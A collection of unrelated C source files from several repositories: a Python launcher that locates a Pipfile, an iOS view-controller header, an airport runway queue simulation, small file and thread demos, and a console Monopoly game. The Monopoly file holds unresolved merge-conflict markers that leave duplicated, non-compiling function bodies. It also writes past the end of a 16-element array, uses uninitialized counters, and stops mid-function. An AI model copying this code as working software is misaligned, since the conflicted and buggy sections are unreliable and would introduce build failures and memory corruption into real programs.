if (!*tok) {
break;
}
tok += strspn(tok, separators);
}
EVP_DigestFinal(ctx, hash, &hash_len);
for (i = 0; i < hash_len; i++) {
printf("%02x", hash[i]);
}
fwrite(separators, 1, 1, stdout);
fwrite(line, 1, len, stdout);
}
free(line);
free(list);
EVP_MD_CTX_destroy(ctx);
OPENSSL_cleanup();
return 0;
}
|
ldgabbay/pipenv-python | pipenv-python.c | #include <stddef.h>
#include <string.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libgen.h>
extern char **environ;
int main(int argc, char *argv[])
{
char * pipfile;
int pipfile_len;
{
char * dir;
{
/* argv[1] is the path to the script file */
char * s = realpath(argv[1], NULL);
if (s == NULL) {
perror("realpath");
exit(EXIT_FAILURE);
}
dir = dirname(s);
free(s);
}
int max_depth;
{
char * s = getenv("PIPENV_MAX_DEPTH");
if (s != NULL) {
max_depth = atoi(s);
} else {
max_depth = 3;
}
}
while (true) {
size_t dir_len = strlen(dir);
char * buffer = malloc(dir_len + 9);
memcpy(buffer, dir, dir_len);
memcpy(buffer + dir_len, "/Pipfile", 9);
if (access(buffer, F_OK) != -1) {
pipfile = buffer;
pipfile_len = dir_len + 8;
break;
}
free(buffer);
if (max_depth == 0) {
// couldn't find Pipfile
pipfile = NULL;
pipfile_len = 0;
break;
}
--max_depth;
dir = dirname(dir);
}
}
/* construct new_argv */
char **new_argv;
{
new_argv = malloc((argc + 4) * sizeof(char *));
char ** p = new_argv;
*p++ = "/usr/bin/env";
if (pipfile != NULL) {
*p++ = "pipenv";
*p++ = "run";
}
*p++ = "python";
int i;
for(i=1; i!=argc; ++i) {
*p++ = argv[i];
}
*p++ = NULL;
}
/* construct new_envp */
char **new_envp;
{
/* get length of environ */
int len;
{
char **p;
for (p=environ, len=0; *p!=NULL; ++p, ++len) {}
}
new_envp = malloc((len+2) * sizeof(char*));
memcpy(new_envp, environ, (len+1) * sizeof(char*));
char **p = new_envp + len;
if (pipfile != NULL) {
char *e = malloc(16+pipfile_len);
memcpy(e, "PIPENV_PIPFILE=", 15);
memcpy(e+15, pipfile, pipfile_len+1);
*p++ = e;
}
*p++ = NULL;
}
execve(new_argv[0], new_argv, new_envp);
/* execvpe() only returns on error */
perror("execve");
exit(EXIT_FAILURE);
}
|
Candygoblen123/XCDYouTubeKit | XCDYouTubeKit Demo/iOS Demo/ConsentViewController.h | //
// ConsentViewController.h
// XCDYouTubeKit iOS Demo
//
// Created by <NAME> on 11/04/2021.
// Copyright © 2021 <NAME>. All rights reserved.
//
#import <UIKit/UIKit.h>
#import <WebKit/WebKit.h>
NS_ASSUME_NONNULL_BEGIN
@interface ConsentViewController : UIViewController <WKNavigationDelegate> {
}
@property (nonatomic , strong) NSString* htmlData;
@property(nonatomic, readonly) WKWebView *webView;
@property (nonatomic , strong) UIView *transparentView;
-(void)consentFunctionWithHtmlData:(NSString *)htmlData;
@end
NS_ASSUME_NONNULL_END
|
JeanCSS/Aeroporto | main.c | #include <stdio.h>
#include <stdlib.h>
struct Node{
int num;
struct Node *prox;
};
typedef struct Node node;
int tamFilaDec, tamFilaAte;
void inicia(node *FILA);
int vazia(node *FILA);
node *aloca(int IdAviao);
void insere(node *FILA, int IdAviao);
node *retira(node *FILA);
int mandarPraPista(node *FILA);
void exibe(node *FILA);
void libera(node *FILA);
int main(void)
{
int AvioesPousando, AvioesDecolando, pista1 = 0, pista2 = 0, pista3 = 0, IdAviDeco = 2, IdAviAter = 1;
// aloquei duas filas do tipo node, uma pra decolagem e outra pra pouso //
node *FILAdecolagen = (node *) malloc(sizeof(node));
node *FILAaterrissagem = (node *) malloc(sizeof(node));
//======================================================================//
node *tmp;
if(!FILAdecolagen || !FILAdecolagen){ //se não for possivel alocar uma das duas filas o programa para
printf("Sem memoria disponivel!\n");
exit(1);
}else{
inicia(FILAaterrissagem);
inicia(FILAdecolagen);
do{
//gera os valores aleatorios de 0 a 3 para representar a quantidade de avioes pra pouso e decolagem a cada rodada/
srand(time(NULL));
AvioesDecolando = rand() % 4;
AvioesPousando = rand() % 4;
//===============================================================================================================/
system("cls");
system("COLOR 09");
printf("|Solicitacao de Pouso: %d |Solicitacao de decolagem: %d | \n\n", AvioesPousando, AvioesDecolando);
int i;
//==========================================================================
for(i = 0; i < AvioesDecolando; i++){ // pega a quantidade de aviao e faz o loop
insere(FILAdecolagen, IdAviDeco); // insere o aviao na fila passando por parametro o nome da fila e o ID do avião
IdAviDeco+=2; // o primeiro aviao é identificado pelo n° 2 depois 4 6 8 ... n
}
for(i = 0; i < AvioesPousando; i++){
insere(FILAaterrissagem, IdAviAter);
IdAviAter+=2; // esse começa com o n° 1 depois 3 5 7 ... n, impar sempre acrescentando 2 em 2 de acordo com numero de avioes que chega
}
//=======================================================================
exibe(FILAaterrissagem);
exibe(FILAdecolagen);
/// /////////////////// Imprimir as pistas/////////////////////////////////////////////////
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 201);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 186);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 186);
char aviao = '-';
if(pista1 != 0){
if(pista1 % 2 == 0)// se o ID do avião for par
aviao = 174;// a variavel aviao recebe o codigo ASCII equivalente a '<<'
if(pista1 % 2 == 1)
aviao = 175; // recebe '>>'
}
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 201, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 188);
printf("%c%c%c%c%c%c%c%c%c%c%c%c - - - - %c - - - - - - - %d\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 186, aviao, pista1);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 200, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 187);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 186);
aviao = '-';
if(pista2 != 0){
if(pista2 % 2 == 0)
aviao = 174;
if(pista2 % 2 == 1)
aviao = 175;
}
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 201, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 188);
printf("%c%c%c%c%c%c%c%c%c%c%c%c - - - - %c - - - - - - - %d\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 186, aviao, pista2);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 200, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 187);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 186);
aviao = '-';
if(pista3 != 0){
if(pista3 % 2 == 0)
aviao = 174;
if(pista3 % 2 == 1)
aviao = 175;
}
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 201, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 188);
printf("%c%c%c%c%c%c%c%c%c%c%c%c - - - - %c - - - - - - - %d\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,186, aviao, pista3);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 200, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 187);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 186);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 186);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c ", 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 176, 176, 176, 176, 176, 176, 176, 176, 176, 176,176, 186);
/// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// ////////////////////////////////////////////////////
/// / teste de prioridades ///////
/// ////////////////////////////////////////////////////
if(tamFilaDec != 0 && tamFilaAte != 0){ //se nenhuma fila tiver vasia
if(tamFilaDec >= 2*tamFilaAte){ // se a pista de decolagem for maior ou igual ao dobro
// da pista de aterrisagem, libera 2 pistas p decolagem
pista1 = mandarPraPista(FILAaterrissagem);
pista2 = mandarPraPista(FILAdecolagen);
pista3 = mandarPraPista(FILAdecolagen);
}
else{ // senao, duas pistas p ra pouso
pista1 = mandarPraPista(FILAaterrissagem);
pista2 = mandarPraPista(FILAaterrissagem);
pista3 = mandarPraPista(FILAdecolagen);
}
}
else{// se alguma fila tiver vasia.
if(tamFilaDec == 0){ //se a fila de decolagem estiver vasia. Tres pistas Para Aterrisagem
pista1 = mandarPraPista(FILAaterrissagem);
pista2 = mandarPraPista(FILAaterrissagem);
pista3 = mandarPraPista(FILAaterrissagem);
}
else{//senao. Tres pistas Para decolagem
pista1 = mandarPraPista(FILAdecolagen);
pista2 = mandarPraPista(FILAdecolagen);
pista3 = mandarPraPista(FILAdecolagen);
}
}
getch();
}while(2 + 2 == 4);
free(FILAaterrissagem);
free(FILAdecolagen);
return 0;
}
}
void inicia(node *FILA)
{
FILA->prox = NULL;
tamFilaAte = 0;
tamFilaDec = 0;
}
int vazia(node *FILA)
{
if(FILA->prox == NULL)
return 1;
else
return 0;
}
node *aloca(int IdAviao)
{
node *novo=(node *) malloc(sizeof(node));
if(!novo){
printf("Sem memoria disponivel!\n");
exit(1);
}else{
novo->num = IdAviao;
return novo;
}
}
void insere(node *FILA, int IdAviao)
{
node *novo = aloca(IdAviao);
novo->prox = NULL;
if(vazia(FILA))
FILA->prox=novo;
else{
node *tmp = FILA->prox;
while(tmp->prox != NULL){
tmp = tmp->prox;
}
tmp->prox = novo;
}
// se o aviao for par aumenta a fila de decolagem
if(IdAviao % 2 == 0)
tamFilaDec++;
else
tamFilaAte++;
}
node *retira(node *FILA)
{
if(FILA->prox == NULL){
printf("Fila ja esta vazia\n");
return NULL;
}else{
// aqui retira o primeiro elemento da fila
node *tmp = FILA->prox;
FILA->prox = tmp->prox;
// se o aviao a ser retirado for par diminue a fila de decolagem
if(tmp->num % 2 == 0)
tamFilaDec--;
else
tamFilaAte--;
return tmp;
}
}
void exibe(node *FILA)
{
//rescebe o nome da fila, imprime todos os elementos da fila
if(vazia(FILA)){
printf("Fila vazia!\n\n");
return ;
}
node *tmp;
tmp = FILA->prox;
//aqui é só pra diferenciar qual fila que é
//como estaamos trabalhandoo com duas filas, uma de numeros pares e outra de impares
if(tmp -> num % 2 == 0) // se o primeiro n° for par. Imprime isso.
printf("Fila de decolagem com %d avioes: ",tamFilaDec);
else //senao. Imprime isso.
printf("Fila de aterrissagem com %d avioes: ",tamFilaAte);
// agora imprime todos os elementos da fila
while(tmp != NULL){
printf("%d ", tmp->num);
tmp = tmp->prox;
}
printf("\n\n");
}
int mandarPraPista(node *FILA)
{
//essa função é baseada na funçao exibir com algumas modifiacoes, essa retorna o primeiro elemento pra pista e depois apaga da fila
int pista;
if(vazia(FILA)){
return 0;
}
node *tmp;
// pista recebe o primeiro avião da fila
tmp = FILA->prox;
pista = tmp -> num;
//retira da fila
retira(FILA);
return pista;
}
/*void libera(node *FILA)
{
// essa funçao nao faz nada nesse programa
if(!vazia(FILA)){
node *proxNode, *atual;
atual = FILA->prox;
while(atual != NULL){
proxNode = atual->prox;
free(atual);
atual = proxNode;
}
}
}*/
|
supeterlau/bedev | c90/partial/io.c | #include <stdio.h>
int main() {
FILE *fp;
char buff[255];
fp = fopen("./compile", "r");
// 从文件中读取内容,到第一个 space 结束
fseek(fp, 5, SEEK_SET);
printf("cur: %d#END#", SEEK_CUR);
fscanf(fp, "%s", buff);
printf("1 : %s\n", buff);
fgets(buff, 255, (FILE*)fp);
printf("2: %s\n", buff);
fgets(buff, 255, (FILE*)fp);
printf("3: %s\n", buff);
fclose(fp);
return 0;
}
|
supeterlau/bedev | c90/partial/thread_01.c | <reponame>supeterlau/bedev
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
void *threadFun(void *vargs) {
sleep(1);
printf("Print from Thread\n");
return NULL;
}
int main() {
pthread_t thread_id;
printf("Starting thread\n");
pthread_create(&thread_id, NULL, threadFun, NULL);
pthread_join(thread_id, NULL);
printf("Thread DONE\n");
exit(0);
}
|
ING1-Paris/Monopoly | src/main.c | #include "lib.h"
#define DEBUG_WAIT 1 // Set to 0 to disable loading
//#if defined(__WIN32__) // Needed to disable intellisense on macOS
void gotoligcol(int lig, int col) {
COORD mycoord;
mycoord.X = col;
mycoord.Y = lig;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), mycoord);
}
void Color(int couleurDuTexte, int couleurDeFond) { // fonction d'affichage de couleurs
HANDLE H = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(H, couleurDeFond * 16 + couleurDuTexte);
}
void showCursor(bool show) {
HANDLE consoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO info;
info.dwSize = 100;
info.bVisible = show;
SetConsoleCursorInfo(consoleHandle, &info);
}
//#endif
void clearScreen() { // permet de clear la console
system("cls");
}
int lancerDe() {
// Retourne un nombre pseudo aléatoire en 1 et 6
int nb;
const int min = 1, max = 6;
nb = (rand() % max) + min;
return nb;
}
<<<<<<< Updated upstream
int creerPiocheCommu() // création de la pioche des cartes communauté
{
=======
int pioche() {
>>>>>>> Stashed changes
srand(time(NULL));
int nb = 0;
int compteur = 0;
int pioche[16];
<<<<<<< Updated upstream
for (int i = 0; i< 16; i++)
{
=======
for (int i = 0; i <= 16; i++) {
>>>>>>> Stashed changes
pioche[i] = 0;
}
FILE* pf = fopen("data/piocheCommu.txt", "w");
if (pf == NULL)
{
printf("Erreur d'ouverture de fichier.");
}
else
{
for (int i = 0; i< 16; i++)
{
do
{
compteur = 0;
nb = (rand() % 16) + 1;
for(int j = 0; j <16; j++)
{
if (pioche[j] == nb)
{
compteur += 1;
}
}
if (compteur == 0)
{
pioche[i]= nb;
}
}while (pioche[i] == 0);
fprintf(pf, "%d ",pioche[i]);
}
}
fclose(pf);
pf = NULL;
return 0;
}
int creerPiocheChance() // création de la pioche des cartes chance
{
srand(time(NULL));
int nb = 0;
int compteur = 0;
<<<<<<< Updated upstream
int pioche[16];
for (int i = 0; i<= 16; i++)
{
pioche[i] = 0;
}
FILE* pf = fopen("data/piocheChance.txt", "w");
if (pf == NULL)
{
printf("Erreur d'ouverture de fichier.");
}
else
{
for (int i = 0; i< 16; i++)
{
do
{
compteur = 0;
nb = (rand() % 16) + 1;
for (int j = 0; j <16; j++)
{
if (pioche[j] == nb)
{
compteur += 1;
}
}
if (compteur == 0)
{
pioche[i]= nb;
}
}while (pioche[i] == 0);
}
=======
for (int i = 0; i < 16; i++) {
do {
compteur = 0;
nb = (rand() % 16) + 1;
for (int j = 0; j < 16; j++) {
if (pioche[j] == nb) {
compteur += 1;
}
}
if (compteur == 0) {
pioche[i] = nb;
}
} while (pioche[i] == 0);
>>>>>>> Stashed changes
}
fclose(pf);
pf = NULL;
return 0;
}
<<<<<<< Updated upstream
void showLogo() { // affichage du logo monopoly
=======
void showLogo() {
>>>>>>> Stashed changes
gotoligcol(0, 0);
printf(
"MONO POLY MONOPOLY MONO PO "
"MONOPOLY MONOPOLYMONO MONOPOLY MO MO "
" NO");
printf(
"\nPOLYMONO MONOPOLY NO MO NOPO NO NO "
" MO NO PO NO MO NO NO "
" MO");
printf(
"\nMONOPOLY POLYMONO PO NO PO MO MO PO "
" NO PO LY PO NO PO PO "
" LY");
printf(
"\nPOLY MONO POLY LY PO LY NO LY LY "
" PO LY MO LY PO LY "
"LY PO");
printf(
"\nMONO POLY MONO MO LY MO PO PO MO "
" LY MO NO MO LY MO "
"MONO");
printf(
"\nPOLY POLY NO MO NO LY NO NO "
" MO NOPONOMOLYPO NO MO NO "
"NO");
printf(
"\nMONO MONO PO NO PO MO MO PO "
" NO PO PO NO PO "
"PO");
printf(
"\nPOLY POLY LY PO LY NO LY LY "
" PO LY LY PO LY "
"LY");
printf(
"\nMONO MONO MO LY MO POPO MO "
" LY MO MO LY MO "
"MO");
printf(
"\nPOLY POLY NO MO NO LYNO NO "
" MO NO NO MO NO "
"NO");
printf(
"\nMONO POLY POLYMONO PO MO "
"POLYMONO PO POLYMONO POLYMONOPOLY "
" LY");
gotoligcol(14, 5);
}
void display() { // affichage du logo, avec un clearScreen avant
clearScreen();
showLogo();
}
void animation(int y, int x, int ms, int lenght) { // création d'une animation d'une barre de chargement
int i;
showCursor(false);
gotoligcol(y, x);
printf("|");
for (i = 0; i < lenght; i++) {
printf("-");
}
printf("|");
gotoligcol(y, x + 1);
for (int i = 0; i < lenght; i++) {
printf("#");
if (DEBUG_WAIT) {
Sleep(ms);
}
}
showCursor(true);
}
void clearCoords(int xA, int yA, int xB, int yB) { // permet de clear une zone via ses coordonnées
Color(0, 0);
gotoligcol(yA, xA);
for (int i = 0; i < yB - yA; i++) {
gotoligcol(yA + i, xA);
for (int j = 0; j < xB - xA; j++) {
printf(" ");
}
printf("\n");
}
Color(15, 0);
}
void creationCase(char titre[15], int x, int y, int id, int couleur) { // fonction de création des cases
/*
0 : Noir
1 : Bleu foncé
2 : Vert foncé
3 : Turquoise
4 : Rouge foncé
5 : Violet
6 : Vert caca d'oie
7 : Gris clair
8 : Gris foncé
9 : Bleu fluo
10 : Vert fluo
11 : Turquoise
12 : Rouge fluo
13 : Violet 2
14 : Jaune
15 : Blanc
*/
int longueur = 0;
int bord = 0;
longueur = strlen(titre);
bord = (13 - longueur) / 2;
Color(0, couleur);
gotoligcol(x, y);
if (id == 0) {
for (int j = 0; j < 13; j++) {
printf(" ");
}
} else {
if (id < 10) {
for (int i = 0; i < 6; i++) {
printf(" ");
}
printf("%d", id);
for (int a = 0; a < 6; a++) {
printf(" ");
}
} else {
for (int i = 0; i < 5; i++) {
printf(" ");
}
printf("%d", id);
for (int a = 0; a < 6; a++) {
printf(" ");
}
}
}
printf("\n");
gotoligcol(x + 1, y);
for (int k = 0; k < bord; k++) {
printf(" ");
}
gotoligcol(x + 1, y + bord);
printf(titre);
gotoligcol(x + 1, y + bord + longueur);
for (int z = y + bord + longueur; z < y + 13; z++) {
printf(" ");
}
for (int n = 0; n < 3; n++) {
gotoligcol(x + 2 + n, y);
for (int j = 0; j < 13; j++) {
printf(" ");
}
printf("\n");
}
Color(15, 0);
}
void batiments(terrain album) { // fonction qui affiche les maisons/hôtels
int nbBats = 0;
nbBats = album.buildings;
Color(0, album.couleur);
if (album.hotel == true) {
gotoligcol(album.x + 4, album.y + 9);
printf("%c", 0xB2);
} else {
switch (nbBats) {
case 1:
gotoligcol(album.x + 4, album.y + 12);
printf("%c", 0x7F);
break;
case 2:
gotoligcol(album.x + 4, album.y + 10);
printf("%c %c", 0x7F, 0x7F);
break;
case 3:
gotoligcol(album.x + 4, album.y + 8);
printf("%c %c %c", 0x7F, 0x7F, 0x7F);
break;
case 4:
gotoligcol(album.x + 4, album.y + 6);
printf("%c %c %c %c", 0x7F, 0x7F, 0x7F, 0x7F);
break;
}
}
}
void terrainAchete(joueur *players, terrain album) { // vérifie si un terrain est occupé pour afficher son proprio à la place de son prix de base
int longueur = 0;
Color(0, album.couleur);
if (album.owned == true) {
for (int i = 0; i < 4; i++) {
if (album.ownedBy == players[i].id) {
longueur = (13 - strlen(players[i].username)) / 2;
gotoligcol(album.x + 3, album.y + longueur);
printf("%s", players[i].username);
}
}
} else {
if (album.defaultPrice >= 100) {
gotoligcol(album.x + 3, album.y + 4);
} else {
gotoligcol(album.x + 3, album.y + 5);
}
printf("%d %c", album.defaultPrice, 0x24); // essayer de print le symbole € avec
}
Color(15, 0);
}
void ifHypotheque(terrain album) { // fonction vérifiant si une case est hypothéquée
Color(0, album.couleur);
if (album.hypotheque == true) {
gotoligcol(album.x + 4, album.y + 1);
printf("H");
}
Color(15, 0);
}
void ifFaillite (joueur** listePlayers){ // fonction vérifiant si un joueur est en faillite
for (int i = 0; i < 4; i++){
if (listePlayers[i]->balance <= 0 && listePlayers[i]->ownedField[0] == 0){
listePlayers[i]->bankruptcy = true;
}
}
}
bool finDuJeu(joueur* listePlayers, int nbJoueurs){ // fonction vérifiant si les joueurs sont en faillite ou non
gotoligcol(25, 60); // on renvoie true si le jeu est fini, false si non
switch(nbJoueurs){
case 2 :
if (listePlayers[0].bankruptcy == true){
printf("Le joueur 2 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
} else if (listePlayers[1].bankruptcy == true){
printf("Le joueur 1 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
}
break;
case 3 :
if (listePlayers[0].bankruptcy == true && listePlayers[1].bankruptcy == true){
printf("Le joueur 3 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
} else if (listePlayers[1].bankruptcy == true && listePlayers[2].bankruptcy == true){
printf("Le joueur 1 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
} else if (listePlayers[0].bankruptcy == true && listePlayers[2].bankruptcy == true){
printf("Le joueur 2 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
}
break;
case 4 :
if (listePlayers[0].bankruptcy == true && listePlayers[1].bankruptcy == true && listePlayers[2].bankruptcy == true){
printf("Le joueur 4 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
} else if (listePlayers[1].bankruptcy == true && listePlayers[2].bankruptcy == true && listePlayers[3].bankruptcy == true){
printf("Le joueur 1 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
} else if (listePlayers[0].bankruptcy == true && listePlayers[1].bankruptcy == true && listePlayers[3].bankruptcy == true){
printf("Le joueur 3 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
} else if (listePlayers[0].bankruptcy == true && listePlayers[2].bankruptcy == true && listePlayers[3].bankruptcy == true){
printf("Le joueur 2 remporte la victoire !");
animation(26, 65, 500, 15);
return true;
}
}
return false;
}
void acheterTerrainJ(joueur *currentplayer, terrain album) { // fonction d'achat d'un terrain --> partie joueur
int i = 0;
(currentplayer)->balance -= album.defaultPrice;
while ((currentplayer)->ownedField[i] != 0) {
i++;
}
currentplayer->ownedField[i] = album.id;
gotoligcol(32, 15);
printf("Terrain achete : %s - %d", album.nom, album.id);
Sleep(500);
}
void updateTour(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, int nbJoueurs) { // fonction qui affiche le terrain à nouveau, avec les changements
joueur *player = listePlayers[currentPlayer];
clearScreen();
gotoligcol(6, 15);
printf("Solde du joueur %s : %d%c", (player)->username, (player)->balance, 0x24);
plateauGraphique(listeTerrain);
afficherJoueurPlateau(listePlayers, listeTerrain, listeCases, nbJoueurs);
for (int n = 0; n < 22; n++) {
terrainAchete(*listePlayers, listeTerrain[n]);
ifHypotheque(listeTerrain[n]);
batiments(listeTerrain[n]);
}
}
void acheterTerrainT(joueur *currentplayer, terrain *album) { // fonction d'achat d'un terrain --> partie terrain
album->owned = true;
album->ownedBy = currentplayer->id;
}
void acheterMaisonT(joueur *currentplayer, terrain *album) { // fonction d'achat d'une maison --> partie terrain
if (album->buildings == 4){
album->hotel = true;
} else {
album->buildings += 1;
}
}
void acheterMaisonJ(joueur *currentplayer, terrain album) { // fonction d'achat d'une maison --> partie joueur
currentplayer->balance -= album.housePrice;
}
<<<<<<< Updated upstream
void vendreMaisonJ(joueur *currentplayer, terrain album, int nbMaisons) { // fonction de vente d'une maison -> partie joueur
if (album.hotel == true){
currentplayer->balance += (album.housePrice)/2;
}
currentplayer->balance += (album.housePrice)/2;
}
int vendreMaisonJ2(terrain album, int nbMaisons) { // fonction de vente d'une maison -> partie joueur / partie 2
int argentFait = 0;
if (album.hotel == true){
argentFait += (album.housePrice/2);
}
argentFait += ((album.housePrice)/2)*nbMaisons;
return argentFait;
}
void vendreMaisonT(joueur *currentplayer, terrain* album, int nbMaisons) { // vente maisons -> partie terrain
if (album->hotel == true){
album->hotel = false;
}
album->buildings -= nbMaisons;
}
void hypothequerTerrainT(joueur *currentplayer, terrain* listeAlbums, terrain album) { // hypothèque d'un terrain -> partie terrain
int couleurAlbum = album.couleur;
for (int i=0; i<22; i++){
if (listeAlbums[i].couleur == couleurAlbum){
if (listeAlbums[i].ownedBy == currentplayer->id && listeAlbums[i].buildings > 0){
vendreMaisonT(currentplayer, &listeAlbums[i], listeAlbums[i].buildings);
vendreMaisonJ(currentplayer, listeAlbums[i], listeAlbums[i].buildings);
}
}
}
album.hypotheque = true;
}
void hypothequerTerrainJ(joueur *currentplayer, terrain album){ // hypothèque d'un terrain -> partie joueur
vendreMaisonJ(currentplayer, album, album.buildings);
currentplayer->balance += album.val_hypoth;
}
int hypothequerTerrain2 (terrain album){ // hypothèque d'un terrain -> partie renvoi argent
int argentFait = 0;
argentFait += album.val_hypoth;
return argentFait;
}
void leverHypotheque(joueur *currentplayer, terrain album){ // lever l'hypothèque
if (album.hypotheque == true){
currentplayer->balance -= album.val_hypoth+(album.val_hypoth*10/100);
}
}
int compterArgent(joueur* currentPlayer, terrain* listeTerrain){ //fonction qui est censée compter l'argent total du joueur
int argentTotal, compteur, idTerrain = 0; //en comptant l'argent que rapporte la vente
argentTotal += currentPlayer->balance;
joueur pcurrentplayer = *currentPlayer;
for (int i = 0; i < 26; i++){
if (pcurrentplayer.ownedField[i] != 0){
compteur += 1;
printf("%d", compteur);
}
}
for (int j=0; j<compteur; j++){
idTerrain = pcurrentplayer.ownedField[j];
argentTotal += vendreMaisonJ2(listeTerrain[idTerrain], listeTerrain[idTerrain].buildings);
printf("%d", argentTotal);
argentTotal += hypothequerTerrain2(listeTerrain[idTerrain]);
printf("%d", argentTotal);
}
return argentTotal;
}
void faillite(joueur *currentplayer, terrain *listeTerrain, int sommeApayer){
